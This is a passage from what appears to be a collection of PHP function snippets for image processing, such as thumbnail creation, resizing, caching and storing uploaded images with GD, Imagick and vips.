{\n case \"image/png\":\n// integer representation of the color black (rgb: 0,0,0)\n $background = imagecolorallocate($new_image, 0, 0, 0);\n// removing the black from the placeholder\n imagecolortransparent($new_image, $background);\n\n// turning off alpha blending (to ensure alpha channel information is preserved, rather than removed (blending with the rest of the image in the form of black))\n imagealphablending($new_image, false);\n\n// turning on alpha channel information saving (to ensure the full range of transparency is preserved)\n imagesavealpha($new_image, true);\n\n break;\n case \"image/gif\":\n// integer representation of the color black (rgb: 0,0,0)\n $background = imagecolorallocate($new_image, 0, 0, 0);\n// removing the black from the placeholder\n imagecolortransparent($new_image, $background);\n\n break;\n }\n\n return $new_image;\n }", "public function createResource()\n {\n $this->resource = new \\Imagick();\n }", "function _wp_image_meta_replace_original($saved_data, $original_file, $image_meta, $attachment_id)\n {\n }", "protected function makeThumbnails()\n {\n $sizes = [\n 'image_211' => [\n 'width' => 211,\n 'mode' => ImageInterface::THUMBNAIL_OUTBOUND,\n ],\n ];\n $data = $this->image;\n if (!$data) {\n return;\n }\n\n if (is_string($data)) {\n $tempFile = tempnam('/tmp', 'temp_');\n file_put_contents($tempFile, $data);\n $data = fopen($tempFile, 'r+');\n }\n\n if (stream_get_contents($data) == '') {\n return;\n }\n\n fseek($data, 0);\n $sourceImage = @ImagineImage::getImagine()->read($data);\n foreach ($sizes as $sizeName => $size) {\n $thumbnailAttributeName = $sizeName;\n if (!empty($size['width'])) {\n $width = $size['width'];\n if ($width < 0) {\n $originalWidgth = $sourceImage->getSize()->getWidth();\n if (-$originalWidgth < $width * 4) {\n $width = $sourceImage->getSize()->getWidth() + $width;\n } else {\n $width = $originalWidgth;\n }\n }\n } else {\n $width = null;\n }\n\n if (!empty($size['height'])) {\n $height = $size['height'];\n if ($height < 0) {\n $originalHeight = $sourceImage->getSize()->getHeight();\n if (-$originalHeight < $height * 4) {\n $height = $sourceImage->getSize()->getHeight() + $height;\n } else {\n $height = $originalHeight;\n }\n }\n } else {\n $height = null;\n }\n\n if (!empty($size['mode'])) {\n $mode = $size['mode'];\n } else {\n $mode = ImageInterface::THUMBNAIL_INSET;\n }\n\n BaseImage::$thumbnailBackgroundAlpha = 0;\n $image = ImagineImage::thumbnail($sourceImage, $width, $height, $mode);\n\n if (!empty($size['watermark'])) {\n $watermark = fopen($size['watermark'], 'r+');\n $watermark = ImagineImage::thumbnail($watermark, $image->getSize()->getWidth(), $image->getSize()->getHeight(), ManipulatorInterface::THUMBNAIL_OUTBOUND);\n $watermark = ImagineImage::crop($watermark, $image->getSize()->getWidth(), $image->getSize()->getHeight());\n\n $image = ImagineImage::watermark($image, $watermark);\n }\n\n $fileName = tempnam(sys_get_temp_dir(), 'test');\n $image->save($fileName, [\n 'format' => $this->image_extension,\n ]);\n\n $thumbData = fopen($fileName, 'r+');\n $this->$thumbnailAttributeName = $thumbData;\n }\n\n fseek($data, 0);\n }", "function makethumbnail($image_name,$src,$dest) {\n global $_CONF, $CONF_SE;\n $do_create = 0;\n if ($image_info = @getimagesize($src)) {\n if ($image_info[2] == 1 || $image_info[2] == 2 || $image_info[2] == 3) {\n $do_create = 1;\n }\n }\n if ($do_create) {\n $dimension = (intval($CONF_SE['auto_thumbnail_dimension'])) ? intval($CONF_SE['auto_thumbnail_dimension']) : 100;\n $resize_type = (intval($CONF_SE['auto_thumbnail_resize_type'])) ? intval($CONF_SE['auto_thumbnail_resize_type']) : 1;\n $quality = (intval($CONF_SE['auto_thumbnail_quality']) && intval($CONF_SE['auto_thumbnail_quality']) <= 100) ? intval($CONF_SE['auto_thumbnail_quality']) : 100;\n\n if (create_thumbnail($src, $dest, $quality, $dimension, $resize_type)) {\n $new_thumb_name = $new_name;\n $chmod = @chmod ($dest,$CONF_SE['image_perms']);\n }\n }\n}", "function wp_ajax_set_attachment_thumbnail()\n {\n }", "public function thumb(){\n\t\tif( $this->thumb ) {\n\t\t\treturn $this->thumb;\n\t\t}//end if\n\n\t\treturn $this->thumb = $this->server.'/'.$this->dir.'thumbs/'.preg_replace( '/\\.([^\\.]+)$/', '.thumb.\\1', $this->file );\n\t}", "public function resizeThumb($client, $folder)\r\n\t{\r\n\t\tif(!defined('MEMORY_TO_ALLOCATE') && !defined('DEFAULT_QUALITY') && !defined('CURRENT_DIR') && !defined('DOCUMENT_ROOT'))\r\n\t\t{\r\n\t\t\tdefine('MEMORY_TO_ALLOCATE', '100M');\r\n\t\t\tdefine('DEFAULT_QUALITY', 90);\r\n\t\t\tdefine('CURRENT_DIR', dirname(dirname(__FILE__)));\r\n\t\t\tdefine('DOCUMENT_ROOT', $_SERVER['DOCUMENT_ROOT']);\r\n\t\t}\r\n\t\t\r\n\t\tif($this->isBackend) $cache_dir = CURRENT_DIR . '/../images/gallery/thumbs/'.$folder.'/';\r\n\t\telse $cache_dir = CURRENT_DIR . '/../images/gallery/thumbs/'.$client.'/';\r\n\t\t\r\n\t\tif(is_dir($cache_dir))\r\n\t\t{\r\n\t\t\t$cache_dir.= $folder.'/';\r\n\t\t\tif(!is_dir($cache_dir))\r\n\t\t\t{\r\n\t\t\t\tmkdir($cache_dir, 0777, true);\r\n\t\t\t}\r\n\t\t}\r\n\t\telse \r\n\t\t{\r\n\t\t\tmkdir($cache_dir, 0777, true);\r\n\t\t\t$cache_dir.= $folder.'/';\r\n\t\t\tif(!is_dir($cache_dir))\r\n\t\t\t{\r\n\t\t\t\tmkdir($cache_dir, 0777, true);\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t\r\n\t\t$image= '/../images/users_cabinete/'.$client.'/'.$this->imageName;\r\n\t\t\r\n\t\t//echo $cache_dir.\" => \".$image;exit;\r\n\t\t\r\n\t\t$file_name = $this->imageName;\r\n\t\r\n\t\r\n\t\t//echo CACHE_DIR.$file_name;exit;\r\n\t\t$img_size = explode('x', $folder);\r\n\t\t$_GET['width'] = $img_size[0];\r\n\t\t$_GET['height'] = $img_size[1];\r\n\t\tif($_GET['width']==$_GET['height']) $_GET['cropratio'] = '1:1';\r\n\t\telse $_GET['cropratio']='4:3';\r\n\t\r\n\t\t$img_type = explode(\".\", $image);\r\n\t\t$image_type = $img_type[count($img_type)-1];\r\n\t\r\n\t\t// Strip the possible trailing slash off the document root\r\n\t\t$docRoot = preg_replace('/\\/$/', '', DOCUMENT_ROOT);\r\n\t\ttry\r\n\t\t{\r\n\t\t\tif (!file_exists($docRoot.$image))\r\n\t\t\t{\r\n\t\t\t\tthrow new Exception('Image does not exist: '.$docRoot.$image);\r\n\t\t\t}\r\n\t\t\t\t\r\n\t\t\t// Get the size and MIME type of the requested image\r\n\t\t\t$size = GetImageSize($docRoot . $image);\r\n\t\t\t$mime = $size['mime'];\r\n\t\t\t$width = $size[0];\r\n\t\t\t$height = $size[1];\r\n\t\t\t\t\r\n\t\t\t$maxWidth = (isset($_GET['width'])) ? (int) $_GET['width'] : 0;\r\n\t\t\t$maxHeight = (isset($_GET['height'])) ? (int) $_GET['height'] : 0;\r\n\t\t\t\t\r\n\t\t\tif (isset($_GET['color']))\r\n\t\t\t\t$color = preg_replace('/[^0-9a-fA-F]/', '', (string) $_GET['color']);\r\n\t\t\telse $color = FALSE;\r\n\t\t\t\t\r\n\t\t\t// If either a max width or max height are not specified, we default to something\r\n\t\t\t// large so the unspecified dimension isn't a constraint on our resized image.\r\n\t\t\t// If neither are specified but the color is, we aren't going to be resizing at\r\n\t\t\t// all, just coloring.\r\n\t\t\tif (!$maxWidth && $maxHeight)\r\n\t\t\t{\r\n\t\t\t\t$maxWidth = 99999999999999;\r\n\t\t\t}\r\n\t\t\telseif ($maxWidth && !$maxHeight)\r\n\t\t\t{\r\n\t\t\t\t$maxHeight = 99999999999999;\r\n\t\t\t}\r\n\t\t\telseif ($color && !$maxWidth && !$maxHeight)\r\n\t\t\t{\r\n\t\t\t\t$maxWidth = $width;\r\n\t\t\t\t$maxHeight = $height;\r\n\t\t\t}\r\n\t\t\t\t\r\n\t\t\t// If we don't have a max width or max height, OR the image is smaller than both\r\n\t\t\t// we do not want to resize it, so we simply output the original image and exit\r\n\t\t\t\t\r\n\t\t\tif ((!$maxWidth && !$maxHeight) || (!$color && $maxWidth >= $width && $maxHeight >= $height))\r\n\t\t\t{\r\n\t\t\t\t$data = file_get_contents($docRoot . '/' . $image);\r\n\t\t\t\t\t\r\n\t\t\t\t$lastModifiedString\t= gmdate('D, d M Y H:i:s', filemtime($docRoot . '/' . $image)) . ' GMT';\r\n\t\t\t\t$etag = md5($data);\r\n\t\t\t\t\t\r\n\t\t\t}\r\n\t\t\t// Ratio cropping\r\n\t\t\t$offsetX = 0;\r\n\t\t\t$offsetY = 0;\r\n\t\t\t\t\r\n\t\t\tif (!empty($_GET['cropratio']))\r\n\t\t\t{\r\n\t\t\t\t$cropRatio = explode(':', (string) $_GET['cropratio']);\r\n\t\t\t\tif (count($cropRatio) == 2)\r\n\t\t\t\t{\r\n\t\t\t\t\t$ratioComputed\t\t= $width / $height;\r\n\t\t\t\t\t$cropRatioComputed\t= (float) $cropRatio[0] / (float) $cropRatio[1];\r\n\t\t\t\t\t\t\r\n\t\t\t\t\tif ($ratioComputed < $cropRatioComputed)\r\n\t\t\t\t\t{ // Image is too tall so we will crop the top and bottom\r\n\t\t\t\t\t\t$origHeight\t= $height;\r\n\t\t\t\t\t\t$height\t\t= $width / $cropRatioComputed;\r\n\t\t\t\t\t\t$offsetY\t= ($origHeight - $height) / 2;\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse if ($ratioComputed > $cropRatioComputed)\r\n\t\t\t\t\t{ // Image is too wide so we will crop off the left and right sides\r\n\t\t\t\t\t\t$origWidth\t= $width;\r\n\t\t\t\t\t\t$width\t\t= $height * $cropRatioComputed;\r\n\t\t\t\t\t\t$offsetX\t= ($origWidth - $width) / 2;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t\t\r\n\t\t\t// Setting up the ratios needed for resizing. We will compare these below to determine how to\r\n\t\t\t// resize the image (based on height or based on width)\r\n\t\t\t$xRatio = $maxWidth / $width;\r\n\t\t\t$yRatio = $maxHeight / $height;\r\n\t\t\t\t\r\n\t\t\tif ($xRatio * $height < $maxHeight)\r\n\t\t\t{ // Resize the image based on width\r\n\t\t\t\t$tnHeight = ceil($xRatio * $height);\r\n\t\t\t\t$tnWidth = $maxWidth;\r\n\t\t\t}\r\n\t\t\telse // Resize the image based on height\r\n\t\t\t{\r\n\t\t\t\t$tnWidth = ceil($yRatio * $width);\r\n\t\t\t\t$tnHeight = $maxHeight;\r\n\t\t\t}\r\n\t\t\t\t\r\n\t\t\t// Determine the quality of the output image\r\n\t\t\t$quality = (isset($_GET['quality'])) ? (int) $_GET['quality'] : DEFAULT_QUALITY;\r\n\t\t\t\t\r\n\t\t\t// Before we actually do any crazy resizing of the image, we want to make sure that we\r\n\t\t\t// haven't already done this one at these dimensions. To the cache!\r\n\t\t\t// Note, cache must be world-readable\r\n\t\t\t\t\r\n\t\t\t// We store our cached image filenames as a hash of the dimensions and the original filename\r\n\t\t\t$resizedImageSource = $tnWidth . 'x' . $tnHeight . 'x' . $quality;\r\n\t\t\tif ($color)\r\n\t\t\t\t$resizedImageSource\t.= 'x' . $color;\r\n\t\t\tif (isset($_GET['cropratio']))\r\n\t\t\t\t$resizedImageSource .= 'x' . (string) $_GET['cropratio'];\r\n\t\t\t$resizedImageSource .= '-' . $image;\r\n\t\t\t\t\r\n\t\t\t$resizedImage = md5($resizedImageSource);\r\n\t\t\t\t\r\n\t\t\t$resized= $cache_dir.$file_name;\r\n\t\t\t\t\r\n\t\t\t// We don't want to run out of memory\r\n\t\t\tini_set('memory_limit', MEMORY_TO_ALLOCATE);\r\n\t\t\t\t\r\n\t\t\t// Set up a blank canvas for our resized image (destination)\r\n\t\t\t$dst\t= imagecreatetruecolor($tnWidth, $tnHeight);\r\n\t\t\t\t\r\n\t\t\t// Set up the appropriate image handling functions based on the original image's mime type\r\n\t\t\tswitch ($size['mime'])\r\n\t\t\t{\r\n\t\t\t\tcase 'image/gif':\r\n\t\t\t\t\t// We will be converting GIFs to PNGs to avoid transparency issues when resizing GIFs\r\n\t\t\t\t\t// This is maybe not the ideal solution, but IE6 can suck it\r\n\t\t\t\t\t$creationFunction\t= 'ImageCreateFromGif';\r\n\t\t\t\t\t$outputFunction\t\t= 'ImagePng';\r\n\t\t\t\t\t$mime\t\t\t\t= 'image/png'; // We need to convert GIFs to PNGs\r\n\t\t\t\t\t$doSharpen\t\t\t= FALSE;\r\n\t\t\t\t\t$quality\t\t\t= round(10 - ($quality / 10)); // We are converting the GIF to a PNG and PNG needs a compression level of 0 (no compression) through 9\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\r\n\t\t\t\tcase 'image/x-png':\r\n\t\t\t\tcase 'image/png':\r\n\t\t\t\t\t$creationFunction\t= 'ImageCreateFromPng';\r\n\t\t\t\t\t$outputFunction\t\t= 'ImagePng';\r\n\t\t\t\t\t$doSharpen\t\t\t= FALSE;\r\n\t\t\t\t\t$quality\t\t\t= round(10 - ($quality / 10)); // PNG needs a compression level of 0 (no compression) through 9\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\r\n\t\t\t\tdefault:\r\n\t\t\t\t\t$creationFunction\t= 'ImageCreateFromJpeg';\r\n\t\t\t\t\t$outputFunction\t \t= 'ImageJpeg';\r\n\t\t\t\t\t$doSharpen\t\t\t= TRUE;\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\t\t\r\n\t\t\t// Read in the original image\r\n\t\t\t$src\t= $creationFunction($docRoot . $image);\r\n\t\t\t\t\r\n\t\t\tif (in_array($size['mime'], array('image/gif', 'image/png')))\r\n\t\t\t{\r\n\t\t\t\tif (!$color)\r\n\t\t\t\t{\r\n\t\t\t\t\t// If this is a GIF or a PNG, we need to set up transparency\r\n\t\t\t\t\timagealphablending($dst, false);\r\n\t\t\t\t\timagesavealpha($dst, true);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t// Fill the background with the specified color for matting purposes\r\n\t\t\t\t\tif ($color[0] == '#')\r\n\t\t\t\t\t\t$color = substr($color, 1);\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t$background\t= FALSE;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\tif (strlen($color) == 6)\r\n\t\t\t\t\t\t$background\t= imagecolorallocate($dst, hexdec($color[0].$color[1]), hexdec($color[2].$color[3]), hexdec($color[4].$color[5]));\r\n\t\t\t\t\telse if (strlen($color) == 3)\r\n\t\t\t\t\t\t$background\t= imagecolorallocate($dst, hexdec($color[0].$color[0]), hexdec($color[1].$color[1]), hexdec($color[2].$color[2]));\r\n\t\t\t\t\tif ($background)\r\n\t\t\t\t\t\timagefill($dst, 0, 0, $background);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t\t\r\n\t\t\t// Resample the original image into the resized canvas we set up earlier\r\n\t\t\tImageCopyResampled($dst, $src, 0, 0, $offsetX, $offsetY, $tnWidth, $tnHeight, $width, $height);\r\n\t\t\t\t\r\n\t\t\tif ($doSharpen)\r\n\t\t\t{\r\n\t\t\t\t// Sharpen the image based on two things:\r\n\t\t\t\t//\t(1) the difference between the original size and the final size\r\n\t\t\t\t//\t(2) the final size\r\n\t\t\t\t$sharpness\t= $this->findSharp($width, $tnWidth);\r\n\t\t\t\t\t\r\n\t\t\t\t$sharpenMatrix\t= array(\r\n\t\t\t\t\tarray(-1, -2, -1),\r\n\t\t\t\t\tarray(-2, $sharpness + 12, -2),\r\n\t\t\t\t\tarray(-1, -2, -1)\r\n\t\t\t\t);\r\n\t\t\t\t$divisor\t\t= $sharpness;\r\n\t\t\t\t$offset\t\t\t= 0;\r\n\t\t\t\timageconvolution($dst, $sharpenMatrix, $divisor, $offset);\r\n\t\t\t}\r\n\t\t\t\t\r\n\t\t\t// Write the resized image to the cache\r\n\t\t\t$outputFunction($dst, $resized, $quality);\r\n\t\t\t\t\r\n\t\t\t// Put the data of the resized image into a variable\r\n\t\t\tob_start();\r\n\t\t\t$outputFunction($dst, null, $quality);\r\n\t\t\t$data\t= ob_get_contents();\r\n\t\t\tob_end_clean();\r\n\t\t\t\t\r\n\t\t\t// Clean up the memory\r\n\t\t\tImageDestroy($src);\r\n\t\t\tImageDestroy($dst);\r\n\t\t\t\t\r\n\t\t\t// See if the browser already has the image\r\n\t\t\t$lastModifiedString\t= gmdate('D, d M Y H:i:s', filemtime($resized)) . ' GMT';\r\n\t\t\t$etag = md5($data);\r\n\t\t\t\t\r\n\t\t}\r\n\t\tcatch (Exception $e)\r\n\t\t{\r\n\t\t\t$_SESSION['admin_info_type'] = 'error';\r\n\t\t\t$_SESSION['admin_info'] = $e->getMessage();\r\n\t\t\tprint_r($e->getMessage());exit;\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\treturn true;\r\n\t}", "function _getCachedThumbnail($aArgs = null) {\n $aArgs = is_array($aArgs) ? $aArgs : array();\n\n // Use arguments to work out the target filename\n $sFilename = $this->_generateHash($aArgs).'.jpg';\n $sFile = $this->thumbnail_dir . $sFilename;\n\n $sReturnName = false;\n // Work out if we need to update the cached thumbnail\n $iForceUpdate = $aArgs['stwredo'] ? true : false;\n if ($iForceUpdate || $this->_cacheFileExpired($sFile)) {\n // if bandwidth limit has reached return the BANDWIDTH_IMAGE\n if ($this->_checkLimitReached($this->thumbnail_dir . $this->bandwidth_image)) {\n $sFilename = $this->bandwidth_image;\n // if quota limit has reached return the QUOTA_IMAGE\n } else if ($this->_checkLimitReached($this->thumbnail_dir . $this->quota_image)) {\n $sFilename = $this->quota_image;\n\t\t\t// if WAY OVER the limits (i.e. request is ignored by STW) return the NO_RESPONSE_IMAGE\n } else if ($this->_checkLimitReached($this->thumbnail_dir . $this->no_response_image)) {\n $sFilename = $this->no_response_image;\n } else {\n // check if the thumbnail was captured\n $aImage = $this->_checkWebsiteThumbnailCaptured($aArgs);\n switch ($aImage['status']) {\n case 'save': // download the image to local path\n $this->_downloadRemoteImageToLocalPath($aImage['url'], $sFile);\n break;\n\n case 'nosave': // dont save the image but return the url\n return $aImage['url'];\n break;\n\n case 'quota_exceed': // download the image to local path for locking requests\n $sFilename = $this->quota_image;\n $sFile = $this->thumbnail_dir . $sFilename;\n $this->_downloadRemoteImageToLocalPath($aImage['url'], $sFile);\n break;\n\n case 'bandwidth_exceed': // download the image to local path for locking requests\n $sFilename = $this->bandwidth_image;\n $sFile = $this->thumbnail_dir . $sFilename;\n $this->_downloadRemoteImageToLocalPath($aImage['url'], $sFile);\n break;\n\n default: // otherwise return the status\n return $aImage['status'];\n }\n }\n }\n\n $sFile = $this->thumbnail_dir . $sFilename;\n // Check if file exists\n if (file_exists($sFile)) {\n $sReturnName = $this->thumbnail_uri . $sFilename;\n }\n\n return $sReturnName;\n }", "public function updateOriginal()\n {\n // @todo Bug#1101: shouldn't just serialise this object\n // because some things change for the original\n // loaded_width\n // loaded_height\n $this->write($this->getOriginalSourceFilename());\n }", "public function storeAndSetThumbnail(UploadedFile $thumbnail, Post $post)\n {\n //$thumbnail_name = $thumbnail->store('uploads/posts');\n $image_large = Image::make($thumbnail)->fit(1200, 700);\n $image_medium = Image::make($thumbnail)->fit(435, 250);\n $image_small = Image::make($thumbnail)->fit(140, 90);\n $fb_feature = Image::make($thumbnail)->fit(600, 315);\n $ext = $thumbnail->getClientOriginalExtension();\n $path = storage_path('app/public/uploads/posts/' . $post->id . '/');\n $file_name = str_random(50) . '.' . $ext;\n if (!file_exists($path)) {\n mkdir($path, 0777, true);\n }\n if (!$this->hasThumbnail()) {\n $media = $this->media()->create([\n 'filename' => $file_name,\n 'original_filename' => $thumbnail->getClientOriginalName(),\n 'mime_type' => $thumbnail->getMimeType()\n ]);\n $image_large->save($path . 'large_' . $file_name, 50);\n $image_medium->save($path . 'medium_' . $file_name, 50);\n $image_small->save($path . 'small_' . $file_name, 50);\n $fb_feature->save($path . 'feature_' . $file_name, 40);\n $this->update(['thumbnail_id' => $media->id]);\n } else {\n $name = $this->media->first()->filename;\n $old_path = [\n 'public/uploads/posts/' . $post->id . '/' . 'large_' . $name,\n 'public/uploads/posts/' . $post->id . '/' . 'medium_' . $name,\n 'public/uploads/posts/' . $post->id . '/' . 'small_' . $name,\n 'public/uploads/posts/' . $post->id . '/' . 'feature_' . $name\n ];\n if (File::exists(storage_path('app/public/uploads/posts'))) {\n Storage::delete($old_path);\n }\n $this->media->first()->update([\n 'filename' => $file_name,\n 'original_filename' => $thumbnail->getClientOriginalName(),\n 'mime_type' => $thumbnail->getMimeType()\n ]);\n $image_large->save($path . 'large_' . $file_name, 50);\n $image_medium->save($path . 'medium_' . $file_name, 50);\n $image_small->save($path . 'small_' . $file_name, 50);\n $fb_feature->save($path . 'feature_' . $file_name, 40);\n }\n return $thumbnail;\n }", "function wp_ajax_set_post_thumbnail()\n {\n }", "function alt_from_resource($source,$target,$name='',$delete=false){\n\t// alt is the source resource, $ref is the target resource that will get the new alternate\n\tglobal $view_title_field;\n\t$srcdata=get_resource_data($source);\n\t$srcext = $srcdata['file_extension'];\n\t$srcpath = get_resource_path($source,true,\"\",false,$srcext);\n\tif ($name == ''){\n\t\t$name = sql_value(\"select value from resource_data where resource_type_field = '$view_title_field' and resource = '$source'\",'Untitled');\n\t}\n\n\t$description = '';\n\tif (!file_exists($srcpath)){\n\t\techo \"ERROR: File not found.\";\n\t\treturn false;\n\t} else {\n\n\t\t$file_size = filesize_unlimited($srcpath);\n\t\t$altid = add_alternative_file($target,$name,$description=\"\",$file_name=\"\",$file_extension=\"\",$file_size,$alt_type='');\n\t\t$newpath = get_resource_path($target,true,\"\",true,$srcext,-1,1,false,'',$altid);\n\t\tcopy($srcpath,$newpath);\n\t\t# Preview creation for alternative files (enabled via config)\n global $alternative_file_previews;\n if ($alternative_file_previews){\n\t\t\tcreate_previews($target,false,$srcext,false,false,$altid);\n \t}\n\t\tif ($delete){\n\t\t\t// we are supposed to delete the original resource when we're done\n\t\t\t# Not allowed to edit this resource? They shouldn't have been able to get here.\n\t\t\tif ((!get_edit_access($source,$srcdata[\"archive\"],false,$srcdata))||checkperm('D')) {\n\t\t\t\texit (\"Permission denied.\");\n\t\t\t} else {\n\t\t\t\tdelete_resource($source);\n\t\t\t}\n\t\t}\n\t\treturn true;\n\n\t}\n}", "public function get_thumbnail()\n {\n }", "function replace_image($id)\n {\n\t $iamgepath=\"./images/big/\"; //base image name \n\t\t $thumpath=\"./images/smal/\";\n\t\t $oldname=$iamgepath.\"temp.jpg\";//image file name \n\t\t $newname=$iamgepath.\"person_L_\".$id.\".jpg\";//new image name \n\t\t $newthumname=$thumpath.\"person_S_\".$id.\".jpg\";\n\t\t if(file_exists($newname))\n\t\t {\n\t\t unlink($newname);// delete the big picture\n\t\t unlink($newthumname);// delete the thumnail \n\t\t }\n\t\t copy($oldname,$newthumname);//copy new file to thumnail folder and renaming it\n\t rename($oldname,$newname);//renaming the temp image \n\t\t \n\t\t // resizing the image in small folder\n\t\t \n \t\t $config['image_library'] = 'gd2';\n $config['source_image']\t= $newthumname;\n\t\t $config['new_image']\t= $newthumname;\n\t\t $config['create_thumb'] = FALSE;\n $config['maintain_ratio'] = TRUE;\n $config['width']\t = 50;\n $config['height'] = 50;\n\t\t $this->load->library('image_lib', $config);//initialise image librarry\n\t\t \n\t\t if ( ! $this->image_lib->resize()) // resizing the picture \n {\n echo 'image resizing is not working';\n\t\t\t echo $this->image_lib->display_errors();\n } \n\t\t\t\n\t\n\t\n\t}", "public function thumbnail()\n {\n return optional($this->thumb);\n }", "function createThumbnail($image, $newMaxWidth, $newMaxHeight) {\n $width_orig = imagesx($image);\n $height_orig = imagesy($image);\n\n $ratio_orig = $width_orig/$height_orig;\n\n if ($newMaxWidth/$newMaxHeight > $ratio_orig) {\n $newMaxWidth = $newMaxHeight * $ratio_orig;\n } else {\n $newMaxHeight = $newMaxWidth / $ratio_orig;\n }\n\n $dst_img = imagecreatetruecolor( $newMaxWidth, $newMaxHeight );\n imagealphablending( $dst_img, false );\n imagesavealpha( $dst_img, true );\n\n imagecopyresampled($dst_img, $image,0,0,0,0,$newMaxWidth,$newMaxHeight,$width_orig,$height_orig);\n\n return $dst_img;\n}", "function quota_image_refresh($image) {\n\t$image->set('filesize',filesize($image->localpath));\n\t$image->save();\n\treturn $image;\n}", "public function setOriginalResource($originalResource) {\n\t\t$this->originalResource = $originalResource;\n\t}", "function createThumbnail($field,$x,$y){\n $thumb=$this->ref($field,false);\n if(!$thumb->loaded()){\n $thumb->set('filestore_volume_id',$this->get('filestore_volume_id'));\n $thumb->set('original_filename','thumb_'.$this->get('original_filename'));\n $thumb->set('filestore_type_id',$this->get('filestore_type_id'));\n }\n\n if(class_exists('\\Imagick',false)){\n $image=new \\Imagick($this->getPath());\n $image->resizeImage($x,$y,\\Imagick::FILTER_LANCZOS,1,true);\n $this->hook(\"beforeThumbSave\", array($thumb));\n $thumb->save(); // generates filename \n $image->writeImage($thumb->getPath());\n $thumb->import(null,'none');\n }else{\n // No Imagemagick support. Ignore resize\n $thumb->import($this->getPath(),'copy');\n }\n\t\t$thumb->save(); // update size and chmod\n\n $this->set($field,$thumb->get('id'));\n\t}", "public static function thumbnail(){\n\n}", "function make_thumb($image_id, $mode, $admin = false)\n{\n global $config, $tpl_section, $in_admin_cp;\n $thumb_size = $config['thumb_size'];\n $quality = $config['thumb_quality'];\n if ($in_admin_cp) {\n $admin = true;\n } else {\n $admin = false;\n }\n\n $img_fn = \"$image_id.jpg\";\n ;\n $folder = $config['abs_path'].'/public/products'; // : './public/products';\n $tolder = $config['abs_path'].'/public/products_thumbs'; // : './public/products_thumbs';\n $img_src_url = $config['site_url'].\"/public/products/$img_fn\";\n $img_th_url = $config['site_url'].\"/public/products_thumbs/$img_fn\";\n $img_sm_url = $config['site_url'].\"/public/products_thumbs/small_$img_fn\";\n $img_src = \"$folder/$img_fn\";\n $img_th = \"$tolder/$img_fn\";\n $img_sm = \"$tolder/small_$img_fn\";\n\n if (!file_exists($img_src)) { // if file not found\n if (($mode == 'feature') || ($mode == 'gallery')) {\n $mode = 'detail';\n }\n if ($mode == 'raw') {\n return false;\n }\n\n if ($mode == 'newsletter') {\n return '';\n } else {\n return \"<img border=\\\"0\\\" src=\\\"$config[site_url]/$config[skin]/images/nothumb_$mode.png\\\" title=\\\"No thumbnail\\\" alt=\\\"No thumbnail\\\" />\";\n }\n } else {\n // if thumbnail image not exists -> create it\n if ($mode == 'small') {\n $img_th = $img_sm;\n $size = 50;\n } else {\n $size = 'thumb';\n }\n if (!file_exists($img_th)) {\n image_optimizer($img_src, $img_th, $quality, $size);\n }\n }\n\n // display it ...\n if (($mode == 'list') || ($mode == 'feature')) {\n $img_txt = \"<img border=\\\"0\\\" src=\\\"$img_th_url\\\" alt=\\\"image\\\" />\";\n } elseif ($mode == 'small') {\n $img_txt = \"<img border=\\\"0\\\" src=\\\"$img_sm_url\\\" alt=\\\"image\\\" />\";\n } elseif ($mode == 'newsletter') {\t// for newsletter (need absolute url)\n $img_th = substr($img_th, 5);\n $img_txt = \"<img border=\\\"0\\\" src=\\\"$img_th_url\\\" alt=\\\"image\\\" />\";\n } elseif ($mode == 'detail') {\t// for detail.\n $item_id = substr($image_id, 0, (strpos($image_id, '_')));\n $j = strpos($image_id, '_');\n $x = substr($image_id, $j+1);\n $row = array();\n $row['img_txt'] = \"<img border=\\\"0\\\" src=\\\"$img_th_url\\\" alt=\\\"image\\\" />\";\n $row['img_fn'] = $img_src_url;\n if (!$admin) {\n $img_txt = quick_tpl($tpl_section['detail_gallery'], $row);\n } else {\n $img_txt = \"<a href=\\\"$row[img_fn]\\\">$row[img_txt]</a>\";\n }\n } else {\n $img_txt = $img_src_url;\n }\n\n return $img_txt;\n}", "private function createImageResource()\n {\n // We are currently using vips_image_new_from_file(), but we could consider\n // calling vips_jpegload / vips_pngload instead\n $result = /** @scrutinizer ignore-call */ vips_image_new_from_file($this->source, []);\n if ($result === -1) {\n /*throw new ConversionFailedException(\n 'Failed creating new vips image from file: ' . $this->source\n );*/\n $message = /** @scrutinizer ignore-call */ vips_error_buffer();\n throw new ConversionFailedException($message);\n }\n\n if (!is_array($result)) {\n throw new ConversionFailedException(\n 'vips_image_new_from_file did not return an array, which we expected'\n );\n }\n\n if (count($result) != 1) {\n throw new ConversionFailedException(\n 'vips_image_new_from_file did not return an array of length 1 as we expected ' .\n '- length was: ' . count($result)\n );\n }\n\n $im = array_shift($result);\n return $im;\n }", "function resize_rep_image($rep_image)\n{\n if (($rep_image != '') && (function_exists('imagepng')) && (get_value('resize_rep_images') !== '0') && (preg_match('#^uploads/repimages/#', $rep_image) != 0)) {\n $_rep_image = $rep_image;\n if (url_is_local($rep_image)) {\n $_rep_image = get_custom_base_url() . '/' . $rep_image;\n }\n convert_image($_rep_image, get_custom_file_base() . '/uploads/repimages/' . basename(rawurldecode($rep_image)), -1, -1, intval(get_option('thumb_width')), true, null, false, true);\n }\n\n return $rep_image;\n}", "function quota_new_image($image) {\n\tglobal $_zp_current_admin_obj;\n\tif (is_object($_zp_current_admin_obj)) {\n\t\t$image->set('owner',$_zp_current_admin_obj->getUser());\n\t}\n\t$image->set('filesize',filesize($image->localpath));\n\t$image->save();\n\treturn $image;\n}", "function resizer($image_file_name,$desc_location=null,$new_width=null,$new_height=null,$min_size=null,$show_image=true)\n\t{\n\t list($width, $height) = @getimagesize($image_file_name);\n\t if (empty($width) or empty($height)) {return false;}\n\n\t if (!is_null($min_size)) {\n\t if (is_null($min_size)) {$min_size=$new_width;}\n\t if (is_null($min_size)) {$min_size=$new_height;}\n\n\t if ($width>$height) {$new_height=$min_size;$new_width=null;}\n\t else 